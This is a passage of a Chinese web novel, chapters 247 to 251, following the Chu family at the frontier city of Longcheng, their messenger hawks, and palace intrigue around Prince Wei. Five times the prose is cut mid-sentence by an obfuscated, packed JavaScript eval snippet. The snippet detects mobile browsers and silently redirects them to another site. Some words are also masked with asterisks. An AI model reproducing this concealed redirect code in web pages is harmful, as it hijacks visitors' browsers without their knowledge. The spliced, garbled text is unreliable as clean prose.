将士们一边垒砌霜垣,一边低声议论。寒风呼啸,吹得他们的铠甲发出细微的碰撞声。冰块相互摩擦,发出刺耳的声响,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050256|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩不住他们心中的不平。 楚星河站在霜垣旁,目光专注地检查着将士们的工作。他的脸被寒风吹得通红,却丝毫不为所动。这种简单却有效的防御方式是他想出来的——将冰块一层层垒起,用水浇灌其间,等待冰冻凝固便能形成坚不可摧的防线。 “大人,西面的霜垣已经完工了。”一名士兵快步走来,向楚星河楚星澜行礼报告。 楚星河点点头,“让将士们轮流休息,保持警惕。”他的声音沙哑,显然已经连续激战多时。 昨夜的战斗已经证明了霜垣的价值。那些轻视这道防线的玄冥士兵,无一不在霜垣下吃了大亏。霜垣不仅能挡住敌军的进攻,还能在敌人靠近时倾倒,将其压在冰块之下。 指挥使很快下令在陇城四周都建起霜垣。人手不够,便招来附近百姓帮忙,管饭便是。百姓们虽然面有菜色,却干劲十足,三三两两搬运着冰块,为保卫家园出一份力。 楚云浪坐在一旁的营帐里,手中捧着一碗热汤,目光中满是忧虑。他的衣服上还沾着些许血迹,那是昨楚战斗时留下的。 “儿啊,”他看着楚星河,声音低沉,“魏王这次怕是要得势了。飞火连珠弓的图纸落入玄冥之手,我们的处境更加危险。” 楚星河放下手中的工具,在父亲对面坐下。他的动作有些僵硬,显然是因为长时间的劳作而疲惫不堪。 “父亲,”他轻声说道,眼神却异常坚定,“我在赌一件事。玄冥人性急,狂妄自大,拿到轻连珠弓就迫不及待要试验。他们短时间内造不出破云**。” “可玄冥已经得到了他们想要的。”楚云浪叹息,目光投向远方,“一旦陇城失守...” “父亲,这里的玄冥兵马不过是疑兵。”楚星河打断道,声音中带着一丝急切,“他们真正的目标是云州。那里现在应该已经落入魏王掌控,玄冥兵一到,肯定会投降。” 楚云浪闻言,心中一阵酸楚。云州是他的故乡,在那里度过了大半生。街巷店铺,百姓生活,无一不是他守护的对象。如今却要落入敌手,这是何等的讽刺。 营帐外传来士兵们忙碌的声音,夹杂着寒风的呼啸。一名传令兵掀开帐帘,脸上带着焦急:“大人,北面又发现敌军踪迹!” 楚星河立即起身,“多少人马?” “约莫三百骑,看样子是在试探我们的防线。” “传令下去,所有人准备战斗。”楚星河快步走出营帐,“让弓箭手上城墙,其余人员按计划部署。” 第二百四十七章 青羽一家来了 与此同时,帝都之外的广袤天际,一只体态矫健的雄鹰带着伴侣和幼崽在寒风中翱翔。这就是青羽一家,它们肩负着重要使命,要将背上的物品送到千里之外的陇城。 青羽的羽毛在寒风中微微颤动,眼神坚定而明亮,丝毫不畏惧前方的艰险。它的伴侣灵灵身姿优美,翅膀有力地拍打着空气,是力量与速度的完美结合。小女儿小墨虽然年幼,却也勇敢地跟随父母,迎着寒风前行。 它们飞越连绵的山脉,穿过宽阔的河流,躲避狂暴的风暴,抵抗刺骨的严寒。终于在一个月明星稀的夜晚,抵达了陇城。 寒风呼啸,雪花纷飞,天地间一片苍茫。 楚星霆站在门前,仰头望着漆黑的楚空。细碎的雪花落在他的脸上,瞬间化作冰凉的水珠。他下意识地裹紧了身上的斗篷,手中的水囊微微晃动,里面盛着柔柔给的仙露泉。 屋内传来窸窸窣窣的声响,那是青羽它们在休息。楚星霆轻轻拉开房门,快步走了出去。关门时格外小心,生怕惊动了屋内的三只鹰隼。这些日子以来,它们一直忠实地守护着这个家,若是让外人发现这些不寻常的鸟儿,怕是要惹出不少麻烦。 月光如水,洒在结冰的湖面上,反射出令人心悸的寒芒。积雪在月光下泛着幽幽的蓝光,远处的山峦若隐若现,仿佛一条巨龙蛰伏在夜色中。 就在这时,一声凄厉的惨叫划破楚空的宁静。 “这个方向......”楚星霆心头一紧,那是从城南传来的。父亲今晚就在那个方向查探机关术的线索。他不敢多想,展开轻功,朝着声音的来源疾驰而去。 积雪在脚下发出细微的嘎吱声,寒风刮得脸颊生疼。楚星霆顾不得这些,一路狂奔。远远地,他看到了让他心惊的一幕。 父亲楚云浪正与一个黑衣人对峙,那人手中握着一把飞火连珠弓,正是父亲亲手打造的得意之作。月光下,那黝黑的**身泛着冰冷的金属光泽,箭簇闪烁着令人胆寒的寒芒。 “楚大人,”黑衣人阴恻恻地开口,声音里带着几分戏谑,“没想到吧,你最引以为傲的作品,如今成了取你性命的利器。” 楚云浪神色凝重,额头上渗出细密的汗珠:“你究竟是谁?为何要这样做?” “为什么?”黑衣人发出一声冷笑,“因为你太天真了!以为把机关术藏得那么深,就没人能找到?以为只要不外传,就能保护好这些秘密?” 寒风呼啸,掀起黑衣人的衣袍。月光下,一张狰狞的面具若隐若现。 “你以为我不敢开枪?”黑衣人狞笑着,“这可是你亲手制造的杰作啊。让我看看,它的威力到底如何!” 楚云浪眼中闪过一丝痛楚,声音低沉:“我从未想过,有朝一日会死在自己造的武器下。” “那就**吧!” 黑衣人毫不犹豫地扣动**。机簧发出清脆的响声,三支**箭破空而出。 楚云浪身形一闪,堪堪避过要害,但还是被三支**箭击中胸口。鲜血顿时染红了他的衣襟,在月光下显得格外刺目。 “父亲!” 楚星霆怒吼一声,飞身而上。他浑身的血液都在沸腾,眼中只剩下无尽的愤怒。一脚踢飞黑衣人手中的连珠弓,又是一记重拳轰在对方胸口。 黑衣人显然没料到会突然杀出个人来,猝不及防之下被击中要害。他踉跄后退,面具掉落在地,露出一张阴鸷的面容。 楚星霆捡起连珠弓,对着他就是一阵猛射。转眼间,那人就变成了一个血肉模糊的刺猬,倒在血泊中再无声息。 “星霆......”楚云浪虚弱地唤了一声,随即昏迷过去。 楚星霆心急如焚,赶紧抱起父亲往家赶。寒风刮得他睁不开眼,但他顾不得这些。家里还有柔柔给的仙露泉,那是救命的圣药。 “父亲,坚持住!” 他一边飞奔,一边在心中祈祷。雪地上留下一串深深的脚印,很快就被纷飞的雪花掩盖。 推开家门的瞬间,楚星霆愣住了。 三只鹰隼正蹲在屋内,正是青羽一家。它们似乎早就察觉到了不对劲,此刻正焦急地在屋内走动。青羽的羽毛都竖了起来,灵灵则不停地扑腾着翅膀,小墨更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058228|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是急得直转圈。 “快!快给他喝水!”青羽急得直跳脚,发出焦急的鸣叫。 虽然听不懂鸟语,但楚星霆也明白它们是来帮忙的。他赶紧拿出水囊,小心翼翼地给父亲喂下仙露泉。清澈的水珠顺着楚云浪的嘴角流下,他的脸色稍稍好转了一些。 青羽和灵灵则忙着用喙解开布包,里面装的是柔柔特制的药丸。小墨太过着急,一个不慎从桌上摔了下来,发出“咚”的一声。 楚星霆打开布包,发现每颗药丸上都标注着功效。柔柔的字迹工整清秀,仿佛带着她特有的温柔。他找到止血药和消炎药,咬牙为父亲拔出**箭。 每拔出一支箭,楚云浪的身体就会剧烈颤抖一下。楚星霆的心也跟着抽痛,但他不得不继续。撒上药粉的瞬间,鲜血就止住了,伤口以肉眼可见的速度愈合。 包扎好伤口,又喂下消炎药,楚星霆这才松了口气。他擦了擦额头的汗水,看着父亲渐渐平稳的呼吸,心中的大石终于落地。 “多亏了柔柔......”楚云浪虚弱地睁开眼,声音虽然微弱,但已经比刚才好多了,“她总是想得这么周到。” 楚星霆看着忙前忙后的三只鹰隼,心中满是感激。若不是柔柔派它们送来药物,今晚的结果恐怕难以想象。他轻轻抚摸着青羽的羽毛:“辛苦你们了。” 青羽蹭了蹭他的手,发出轻柔的鸣叫。灵灵则衔来一条毯子,笨拙地想要给楚云浪盖上。小墨虽然还在气鼓鼓地抖着摔疼的爪子,但还是忙不迭地帮忙。 屋外风雪依旧,呼啸声不绝于耳。但屋内却暖意融融,炉火映照着每个人的脸庞,将这个不算宽敞的屋子染上一层温暖的色彩。 这一夜,父子俩都深深体会到了什么叫家人。那些看似普通的药丸,那些不起眼的布包,都承载着最真挚的牵挂。而那个给予他们温暖的人,此刻正在千里之外牵挂着这里的一切。 楚星霆看着窗外的风雪,突然明白了一个道理:有时候,最珍贵的不是那些惊天动地的壮举,而是在你最需要的时候,有人默默地为你准备好了一切。 第二百四十八章 心有灵犀 顾馨巧坐立难安,在院中来回踱步。她的裙摆在石板上摩擦出细微的沙沙声,每一步都透着焦虑与不安。 那股不详的预感如同暗涌的潮水,一波又一波地涌上心头,几乎要将她淹没。 赵氏站在廊下,默默注视着夫人反常的举动。她的手指无意识地绞着衣角,欲言又止。作为家生子出身的侍妾,她深谙自己的身份,但此刻看着夫人如此失态,还是忍不住上前。 “夫人,天色已晚,露水重了。”赵氏轻声劝道,“要不要进屋喝杯热茶?” 顾馨巧停下脚步,转身看向赵氏。月光下,她的脸色显得格外苍白,眼中泛着晶莹的泪光:“妹妹,我这心里头慌得很,就像当年老爷在西陵受伤那次一样。那时候,我也是这般坐立不安。” 赵氏心头一紧,强自镇定道:“夫人莫要多想,星河和星霆都在老爷身边,定能保护好老爷。”她伸手扶住顾馨巧微微发颤的手臂,“陇城虽远,但有他们两位在,老爷定然平安。” “但愿如此。”顾馨巧勉强挤出一丝笑容,任由赵氏搀扶着走向廊下的藤椅。 两个女人相对而坐,都明白彼此的担忧。这些年来,她们早已如同亲姐妹一般。顾馨巧从未因赵氏的身份而轻视她,在她看来,赵氏虽是家生子出身,却懂事知礼,从不越矩。 赵氏望着夫人憔悴的面容,想起当年自己生下女儿时的情景。那时她主动请求让顾馨巧抚养,只为给孩子一个光明的未来。夫人二话不说就应下了,还亲自照料她的月子。 “夫人,喝口茶吧。”赵氏将热茶递到顾馨巧手中,“您要是累了,不如先去歇息。” 顾馨巧接过茶盏,却只是捧在手心,任由温热渗透掌心:“我睡不着,总觉得心里头空落落的。这些日子,连做梦都梦到老爷和孩子们。” 远在陇城,楚星河正指挥将士们收拾战场。残阳如血,将整片天空染成暗红色。方才一战,他们虽然击退了黑鹰帮,但父亲楚云浪也在战斗中受了伤。 战场上到处都是断裂的箭矢和破损的连珠弓,空气中弥漫着血腥和硝烟的气息。将士们正在清点伤亡,收敛战友的遗体。 “大公子,这些缴获的连珠弓要如何处置?”一名满脸血污的将士走到楚星河面前请示。 楚星河转身看向那堆从黑鹰帮手中缴获的连珠弓,眼中闪过一丝锐利的光芒:“全部收起来,教会我们的将士使用。既然黑鹰帮用我们的武器对付我们,那我们也该以其人之道还治其人之身。” 将士们轰然应是,纷纷行动起来。楚星河站在高处,目光扫过忙碌的战场。他的铠甲上沾满了尘土和血迹,脸上还带着未褪的战意。 指挥使踏着夕阳的余晖走来,拍了拍他的肩膀:“多亏有你在,这次才能守住陇城。你父亲的伤势如何?” “大夫已经处理过了,暂时无碍。”楚星河淡淡回道,眼中闪过一丝疲惫,“我得先回去照看父亲,还请指挥使多多担待。” 看着楚星河离去的背影,指挥使不禁感慨万分。这对父子虽因连珠弓之事被贬陇城,却仍在危急时刻挺身而出,实在令人敬佩。 回到住处,楚星河轻手轻脚地推开房门。昏暗的油灯下,父亲正在榻上沉睡。他走近查看父亲的伤势,见包扎的布条上并无渗血,这才稍稍放心。 屋内陈设简陋,只有几件必需的家具。这里比不得帝都的宅邸,但在这苦寒之地,能有个遮风挡雨的地方已是不错。 楚星河脱下沾满血污的铠甲,换上一身便装。这些日子在陇城,他也学会了不少生活本事。想到日后能给柔柔露一手厨艺,他的嘴角不自觉地扬起一抹笑意。 正当他准备去厨房时,院子里传来一阵骚动。林小七叼着一只肥硕的野鸡回来了,而在它身后,一个熟悉的身影正慢悠悠地踱着步子。 “青羽!”林小七立刻丢下野鸡,兴奋地扑向那个身影。 青羽轻轻叫了一声,仿佛在回应它的老朋友。它的**色依旧杂乱,但眼神却比从前更加灵动。在这荒凉的陇城,它似乎也找到了属于自己的位置。 楚星河看着这一幕,心中涌起一丝暖意。即便在这苦寒之地,也总能找到些许慰藉。他弯腰捡起野鸡,决定今晚给父亲炖个鸡汤。 屋内的油灯在风中摇曳,投下摇摆的影子。楚星河坐在灶台前,看着锅中沸腾的汤水,思绪不由得飘向远方。不知此刻帝都的柔柔在做什么,是否也像他一样,在想念着彼此。 青羽轻盈地跃上桌面,月光透过窗棂洒在它银灰色的羽毛上,闪烁着点点光芒。它朝着灵灵和小墨招呼道:“快上来,这林小七可不是什么善茬。” 屋外的风吹动着树叶沙沙作响,林小七正趴在院子里,一双眼睛紧盯着屋内的动静。它那粗重的喘息声在夜色中格外清晰。 灵灵小心翼翼地迈着步子,轻巧地跳上桌面。它那优雅的姿态,与青羽形成鲜明对比。小墨却躲在楚星河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058229|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,将自己的小爪子举起来,竹筒在爪子上晃荡着,发出轻微的碰撞声。 “我是来给楚星河送信的特使,你这野狗可不能乱来。”小墨的声音带着些许颤抖,但仍然鼓起勇气冲着林小七叫嚷。 楚星河虽听不懂它们的对话,却从小墨的动作中明白了它的意思。他伸手取下竹筒,手指微微发颤。这个来自远方的信件,承载着他日思楚想的消息。 抽出信件,展开一看,是太子的亲笔书信。纸张上还残留着淡淡的墨香,字迹遒劲有力,透着一股不容置疑的威严。 信中详细提到了林芷柔送去的三只鹰隼,字里行间充满赞赏。更重要的是,她揭露了魏王的身世之谜。太子对林芷柔赞不绝口,称赞她有勇有谋,是难得的人才。 看完信,楚星河的眉头微皱,立刻将其丢进灶火中。火舌贪婪地舔舐着纸张,将太子的密信化为灰烬。这种涉及朝廷机密的信件,万万不能留下任何痕迹。 青羽也凑上前来,抬起爪子:“还有一封,你媳妇给你的。”它的眼睛闪烁着狡黠的光芒,似乎对这封信格外感兴趣。 楚星河接过信,手指微微颤抖。信封里还夹着两张五百两的玉牌,那鲜艳的红色在昏暗的灯光下格外刺眼。他的心猛地一揪,酸涩感涌上心头,喉咙仿佛被什么堵住了。 身为男人,本该撑起一片天。可如今,却沦落至此,还要靠妻子接济。这种无力感,让他的心口发闷,呼吸都变得困难起来。 展开信纸,林芷柔那熟悉的字迹映入眼帘。她兴奋地讲述着如何收了魏王的库房,字里行间满是得意。那些歪歪扭扭的字,仿佛在跳跃着诉说她的喜悦。 楚星河不禁莞尔,仿佛看到她那双明亮的眼睛闪烁着狡黠的光芒,嘴角挂着得意的笑容。这个调皮的丫头,竟然把人家的库房搬空了。想到这里,他既担心又好笑。 信中还提到,她将儿子阳阳送去了青霞山,拜在一位云**门下。虽然字迹平静,却掩饰不住母亲的不舍。那些略显潦草的字迹,透露着她写信时的心情起伏。 楚星河的手指轻轻抚过这段文字,仿佛能感受到她写下这些字时的犹豫和心痛。他明白,这是她为保护儿子的无奈之举。魏王的秘密被揭露,难保不会迁怒于人。 最后那句“好想你,太想了!爱你!”让楚星河的心猛地颤动。他的拇指轻轻摩挲着这行字,仿佛能触摸到她写信时的心情。那些字迹略显潦草,却饱含深情。 第二百四十九章 来自家人的关爱 夜色渐深,他坐在灶前添柴。火光映照着他刚毅的面容,眼神却柔软似水。柴火噼啪作响,火星四溅,照亮了他疲惫的面容。 思绪飘远,回忆起与柔柔在一起的点点滴滴。她第一次见面时的羞涩,成亲时的娇俏,生产时的坚强,每一个画面都清晰地浮现在眼前。她的笑容,她的泪水,她的欢喜,她的担忧,都深深刻在他的心底。 “柔柔,我也想你,很想很想。”他轻声呢喃,声音轻得几乎听不见,却饱含深情。 青羽竖起耳朵,眼睛亮晶晶的:“记住了,回去告诉主人。”它的尾巴轻轻摇晃,似乎对自己的任务很是得意。 楚星河又道:“照顾好自己,等我回来。”他的声音低沉而温柔,带着浓浓的思念。 青羽点头:“好,等你回来。”它歪着脑袋,似乎在思考这句话的含义。 楚星河无奈地看了它一眼,这鸟儿怎么总是记半句话。月光透过窗户洒在青羽身上,给它镀上一层银色的光晕。 锅里的粥香四溢,这是他特意从城里买来的上等白米。米粒晶莹剔透,在火光下泛着诱人的光泽。他舍不得吃,每天只放一点和红薯一起煮,省着点用。 父亲年迈,身子骨不好;弟弟正在长身体,需要营养。他总是将米粥分给他们,自己只吃红薯充饥。看着家人吃饱喝足,他心里就感到满足。 楚云浪被粥香唤醒,伤势已经好转,只是饥肠辘辘。他艰难地坐起身,目光落在冒着热气的粥锅上,眼中闪过一丝期待。 楚星霆也回来了,浑身沾满尘土,却掩饰不住脸上的喜悦。看到三只鹰隼还在,他开心地笑了。那笑容纯粹而明亮,仿佛能驱散屋内的阴霾。 他一边脱下满是尘土的外衣,一边说起外面的情况。敌人已经撤退,他们收集了不少**箭。说到这里,他的眼中闪烁着兴奋的光芒。 “青羽,我上次让你带的话,都告诉嫂嫂了吗?”楚星霆急切地问道,声音中带着掩饰不住的期待。 楚星霆抱着青羽,像个孩子般不停地抚摸它的毛发,指尖穿过柔软的绒毛,感受着小家伙温暖的体温。 “你真是太棒了,青羽!”他的语气里满是欢喜,眼角眉梢都洋溢着喜悦,“我早就知道你肯定会跟嫂嫂说的。” 青羽在他怀里扭动着身子,尾巴不耐烦地甩动着。它抬起小脑袋,琥珀色的眼睛里闪烁着不屑的光芒:“滚开!谁稀罕你喜欢?老子只认我家灵灵!”说着,它用爪子推搡着楚星霆的手臂,想要挣脱他的怀抱。 厨房里飘来阵阵米粥的香气,楚星河正在灶台边忙活。他听到弟弟和青羽的动静,抬头看了一眼:“放开它吧,青羽不喜欢被人抱着。”说着,他将灶下的柴火拨弄了几下,火苗顿时窜得更高。 楚星河将粥盛进碗里,热气腾腾的白粥散发着诱人的香味。他端着粥碗,小心翼翼地走到床边:“父亲,粥好了。” 楚星霆这才注意到躺在床上的父亲,连忙放开青羽,快步走了过去。他的脸上写满了担忧:“爹,您好些了吗?”他的目光落在父亲裹着白布的胸口,那里隐约可见一抹暗红。 楚云浪看着小儿子焦急的神色,眼中闪过一丝疼惜。他轻声安慰道:“没事,胸口中的三箭,多亏你嫂嫂把药送来了,伤口处理的也不错。”说这话时,他的脸色略显苍白,额头上还有未退的冷汗。 楚星霆的目光落在桌上的药包上,那是嫂嫂特意送来的。想到父亲受伤的事,他的眼眶不由得微微发红:“多亏有嫂嫂,要不然...”话未说完,声音已经有些哽咽。 “柔柔是我们楚家的福星。”楚云浪打断了儿子的话,眼神中带着欣慰,“上天派她来守护我们的。” 屋外的风吹动着窗纸,发出沙沙的响声。楚星河将粥递给父亲,碗底还垫着一块布,以免烫手:“父亲说得对,当初我重伤濒死,也是柔柔救了我。” 他的思绪不由得回到那段往事。那时的他,浑身是伤,命悬一线。柔柔就像从天而降的仙女,带着神奇的医术出现在他生命中。她的手法娴熟,药方精妙,硬是将他从死亡线上拉了回来。 “父亲,柔柔来信了。”楚星河从怀中取出一封信,信封上还带着淡淡的墨香,“阳阳被青霞山的云**收为徒弟了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061305|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云**?”楚云浪激动得差点打翻手中的粥碗,粥水溅在被子上,洇出一片深色的痕迹,“那可是山云上神龙见首不见尾的高人啊!” 楚星霆皱着眉头,眼中满是不解:“爹,阳阳还那么小,嫂嫂怎么舍得让他去?”他想起那个才到自己腰间的小侄子,心中不免担忧。 “你懂什么!”楚云浪说话太急,牵动伤口,疼得直抽气。他深吸一口气,平复了一下情绪,“这是天大的机缘!” 楚星河看着父亲激动的样子,心中一阵愧疚。若是他在帝都,柔柔也不会这么为难。但现在这样也好,至少能让阳阳避开风波。他的手指无意识地摩挲着信封的边角,那里已经有些微微卷起。 “青霞山在三国交界处。”楚星河给弟弟解释道,目光望向窗外的夜色,仿佛能看到那座终年积雪的高山,“那里四季如冬,山顶终年积雪。云**精通天文地理,连玄冥大汗都曾想请他出山。” 楚星霆的眼睛一亮,像是想到了什么有趣的事:“那以后阳阳是不是也能这么厉害?”他的语气中带着几分向往。 “别胡说。”楚云浪严厉地制止了儿子,眉头紧皱,“这些事知道就好,不要往外传。还有我的伤,若有人问起,就说只是轻伤。”他的语气中带着不容置疑的严肃。 “知道了。”楚星霆端起碗,喝了口粥,有些不满地嘟囔着,“我又不是傻子。” 青羽趴在窗台上,尾巴有一下没一下地摆动着。月光透过窗棂,在地上投下斑驳的影子。楚星河看着父亲和弟弟,又道:“柔柔还送来了一千两玉牌,让我们好好照顾自己。” “嫂嫂真好!”楚星霆感动得又要落泪,他想起隔壁的事,愤愤不平地说道,“不像厉家那个嫂子,居然把小姑子卖了换红薯。” 楚云浪叹了口气,眼中闪过一丝复杂的情绪:“厉大哥年轻时和我同营,如今也落魄至此。改日请他来吃顿饭吧,也算尽了当年的情谊。” 屋外的月光越发明亮,照在院子里的老槐树上,树影婆娑。青羽突然竖起耳朵,警惕地看向门外。楚星河注意到它的异常,轻声道:“有人来了。” 第二百五十章 一家人 话音刚落,就听见院门被推开的声音。脚步声由远及近,最后停在了屋外。一个熟悉的声音传来:“大哥,我来看看父亲。” 楚星河起身开门,门外站着的是他的二弟楚星翊。只见他风尘仆仆,衣服上还沾着些许泥土,显然是刚从外面赶回来。 “二哥!”楚星霆惊喜地叫道,“你怎么这时候回来了?” 楚星翊走进屋内,看到父亲躺在床上,脸色顿时变得凝重:“我听说父亲受伤了,就立刻赶了回来。”他走到床边,仔细打量着父亲的情况,“伤得重不重?” 楚云浪摆摆手:“不碍事,你嫂嫂已经送来了药。” 楚星翊点点头,从怀中掏出一个小包袱:“我在路上遇到了一个游方郎中,他给了我一些金创药,说对箭伤很有效。” 楚星河接过包袱,打开看了看:“这药确实不错,待会我给父亲换药时一并用上。” 楚星翊坐在床边的椅子上,目光落在桌上的信封上:“这是嫂嫂的信?” 楚星河嗯了一声:“阳阳被云**收为徒弟了。” “什么?”楚星翊惊讶地站起身,“云**?就是那个......” 楚云浪咳嗽了一声,打断了他的话:“这事不要声张。” 楚星翊立刻明白过来,重新坐下:“我知道轻重。对了,我听说帝都最近不太平,嫂嫂和阳阳没事吧?” 楚星河的眼中闪过一丝担忧:“暂时还好,有青羽在那边帮忙传信。” 青羽听到自己的名字,得意地扬起头:“那是!我可是最厉害的!” 楚星霆忍不住笑道:“你刚才不是说只认灵灵吗?” 青羽瞪了他一眼,转过身去不理他。楚星翊看着这一幕,也笑了起来:“这小家伙还是这么傲娇。” 楚云浪看着三个儿子,眼中满是欣慰。虽然现在处境艰难,但只要一家人团结在一起,就没有什么困难是过不去的。 夜深了,月光透过窗棂洒在地上,映出一片银白。青羽蜷缩在窗台上,尾巴轻轻摆动,像是在守护着这一室的温馨。 厉伯伯的事,楚星河只是听人说过。每每想起,心中总是涌起一阵难以言说的酸楚。 五年前那个寒冬,厉家因得罪了魏王,全族被发配陇城。街坊邻居都说,厉家是遭了天谴,可楚星河却清楚,这不过是权力斗争的牺牲品罢了。 厉伯伯曾是一名战功赫赫的将军,在边关立下赫赫战功。可一夜之间,所有的荣耀都化作泡影,他被剥夺官职,投入牢笼。那时的厉伯伯,眼中的光彩一点点消失,取而代之的是无尽的麻木与绝望。 流放路上,厉伯母因病情恶化撒手人寰,二子三子更是因饥寒交迫饿死在路途中。最后只剩下大儿子一家和小女儿相依为命,艰难地在这世间苟延残喘。 楚星河至今还记得那个和妹妹澜儿年纪相仿的小女孩。她面黄肌瘦,一头枯黄的头发,眼神中透着惊惶,见了人总是躲躲闪闪。那双曾经明亮的眼睛里,再也看不到半分童真。 “厉伯伯...”楚星河喃喃自语,手中的碗不自觉地握紧了几分。 窗外的阳光透过窗棂洒进来,在地上投下斑驳的光影。屋内的空气中飘荡着一股淡淡的药香,那是柔柔特意配制的药方。 想到柔柔,楚星河的心绪不由得柔软了几分。她就像从九重天下凡的仙女,总能在最艰难的时刻给他指引方向。若不是她及时送来药材,父亲的伤势恐怕早已恶化。 记忆中,她给自己包扎伤口时的动作是那样娴熟。纤细的手指轻轻缠绕着白色的绷带,动作轻柔得仿佛怕弄疼了他。 “这药会有点疼,你忍着点。”她总是这样温柔地提醒,眉眼间满是关切。 “星河,”躺在床上的父亲忽然咳嗽起来,“水...” 楚星河连忙放下碗,端来温水,小心翼翼地扶起父亲。“父亲,您慢些喝。” 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061306|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着父亲苍白的面容,楚星河心中一阵绞痛。失血过多让父亲虚弱不堪,即便是睡着的时候,眉头也始终紧锁着。 “大哥,”林小七端着空碗走进来,“我去洗碗。” 楚星河点点头,从怀中取出几根木炭,准备给太子和柔柔写回信。蘸着墨汁的木炭在纸上划出一道道痕迹,字迹虽然潦草,却透着一股坚毅。 写完信后,他将信筒分别系在小墨和青羽的腿上。奇怪的是,灵灵这次并没有跟着出门,而是留在屋内,警惕地注视着四周。 楚星河忽然明白了柔柔的用意,她是想留下一只鹰隼以备不时之需。这个细节,再次让他感受到了她的细心与周到。 青羽似乎有些犹豫,不愿离开。直到灵灵开口:“快去追小墨,我在这里有林小七作伴。”它才展翅飞向远方。 小墨第一次送信,需要青羽在旁指引。两只鹰隼的身影渐渐消失在天际,楚星河的目光久久未收。 与此同时,御书房内,一场风暴正在酝酿。 “昌雨柳在教坊司逗留三日,期间会见了玄冥大汗,当时他还是大皇子...”影卫跪地禀报。 皇帝的脸色阴沉如水,龙案上的奏折被他捏得几乎变形。“后来呢?”他强压着怒火问道。 “大皇子独自返回玄冥,昌雨柳被陛下接入别院,。”影卫额头冒出冷汗,“接生婆死于非命,侍候的人都中了**,每半年需一次解药。发放解药的人,正是魏王的奶妈。” 温七站在一旁,冷汗顺着脸颊滑落。他想起当年昌雨柳亲自挑选的奶妈,竟是玄冥的细作。一步步,都在她的算计之中。 皇帝握紧了龙椅扶手,指节发白。他一片痴心,却换来如此欺骗。当年父皇要灭昌家满门,想必早已看穿一切。可他却被美色所惑,执意要护住那个女人。 御书房内的气氛凝重得几乎让人窒息。檀香在铜炉中缓缓燃烧,袅袅青烟上升,却驱散不了屋内的阴霾。 第二百五十一章 真相 皇帝坐在龙椅上,面色沉重,嘴唇渐渐泛紫。他的手指无意识地摩挲着案几上的玉玺,胸口一阵阵绞痛袭来。冷汗顺着额角滑落,却仍强撑着不动声色。 温七站在一旁,察觉到皇帝呼吸有些急促,连忙从怀中取出一个精致的玻璃瓶。瓶身晶莹剔透,里面装着几粒暗红色的药丸。他倒出一粒,双手恭敬地呈上。 “陛下。”温七的声音很轻,带着几分担忧。 皇帝接过药丸含在舌下,苦涩的味道在口中蔓延。他微微闭上眼睛,等待药效发作。片刻后,胸口的疼痛渐渐缓解,他这才睁开眼,目光冷冷地望向跪在地上的影卫首领。 “说下去。”皇帝的声音沙哑低沉。 影卫首领额头抵在地上,声音略显颤抖:“回禀陛下,那位奶妈三年前以年迈为由告老还乡,实则是回了玄冥。查实她本就是玄冥安插的细作,从一开始就别有用心。” “查清楚她在玄冥的去向了吗?”皇帝手指微微收紧。 “是。她现在是玄冥的皇贵妃身边最器重的嬷嬷,受宠无比。” 御书房内的空气仿佛凝固了一瞬。皇帝眸光一闪,声音愈发冰冷:“一个奶妈,如何能在玄冥皇宫皇贵妃身边如此得宠?” 